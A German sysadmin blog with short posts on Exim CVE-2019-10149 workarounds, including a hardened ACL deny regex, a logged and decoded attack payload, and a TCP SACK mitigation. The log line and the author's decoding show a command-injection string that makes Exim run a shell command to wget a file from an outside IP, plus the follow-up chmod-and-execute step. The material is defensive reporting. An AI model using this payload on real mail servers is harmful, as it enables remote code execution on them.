Exim – Rootlücken Workaround nicht 100% dicht

Guten Morgen, wer seinen Exim immer noch nicht auf den neusten Stand bringen konnte, der muß jetzt nochmal ran an die Config :

  deny    message       = Restricted characters in address
          domains       = +local_domains
          local_parts   = ^[.] : ^.*[\$@%!/|] : ^.*x24 : ^.*0.44

denn leider kann man mit \x24 das $ maskieren und dann schlägt der alte Regelsatz nicht an. Ob man das zu einem Hack eskalieren kann, ist leider ungeklärt. Sicher ist, daß die Schutzregel versagt und das ist etwas, was man nicht haben will. Die „0.44“ ist dann gegen eine OKTALversion, statt Hexadezimal (\x24) von der Umgehung.

Follow-Up auf:

Quickfix: Exim <= 4.91 for CVE-2019-10149

Die Möchtegern-Exim-Exploitwelle geht weiter

Ich könnte mich wegwerfen vor Lachen, die Scriptkids attackieren tatsächlich Server, die Exim in der gepatchten Version laufen haben oder gleich gar keinen Exim, sondern Postfix 😀

Kleine Umfrage auf unserem Cluster

Und so sieht die neueste Version u.a. aus :

2019-06-19 16:08:46 H=(service.com) [98.158.184.125] F=<support@service.com> rejected RCPT <root+${run{\x2Fbin\x2Fsh\t-c\t\x22wget\x2064.50.180.45\x2ftmp\x2fX.X.X.X\x22}}@XXX.XXXXXXX.XX>: you have been blacklisted.

Ich übersetze mal :

/bin/sh -c „wget 64.50.180.45/tmp/X.X.X.X“

Randnotiz: Das SANS Institute glaubte doch glatt, daß die „/bin/sht -ct“ ausführen wollten, weil deren Postfix die „\t“ in „t“ umgewandelt hatte 🙂

Das obige kann nur funktioniert, wenn man danach auch noch chmod u+x /tmp/X.X.X.X;/tmp/X.X.X.X ausführt und wenn der Server auch mal was ausliefern würde, außer der 404 Seite .. aka… Hack schon gefunden und beseitigt 😉  Naja, die hatten ja auch zwei Tage Zeit 😉

Zu viel Drama um die TCP SACK Problematik

Um dem Drama mal den Schwung aus den Segeln zu nehmen:

sudo echo „0“ > /proc/sys/net/ipv4/tcp_sack

auf den gefixten Linux Kernel warten, rebooten, fertig. Wer keinen neueren Kernel bekommt, trotzdem rebooten muß, der fügt :

net.ipv4.tcp_sack = 0

ans Ende der Datei /etc/sysctl.conf an und schon wird SACK beim Start deaktiviert.

Ich könnte natürlich jetzt auch son Quatsch von mir geben wie :

„Ooohhh! Große Lücke im Kernel! Linux Server werden durch DDOS vom Netz genommen! Panik! Ich sagte PANIK! P.A.N.I.K!!!

blöderweise passierte … rein gar nichts davon 😀

Das jeder seinen Krempel mittlerweile nur noch über den Panikbutton vermarktet, macht es echten Lücken, wie der Exim Root-Exploit Geschichte neulich nicht einfacher. Oder dem Firefox Exploit über Javascript! Was fürn Geheul, und ooooooohhh … zwei Tage später der nächste Security Patch… auch wieder alle im Panikmodus. NOSCRIPT installieren und schon ist Ruhe!

Redhat hat 2 Tage gebraucht den FireFox 67.0.3 zu kompilieren, bevor es endlich mal durchlief und ? Juckt das NOSCRIPT User? Nein 🙂

PS: Wer es für Fedora eilig hat mit dem FF Update : https://koji.fedoraproject.org/koji/buildinfo?buildID=1291078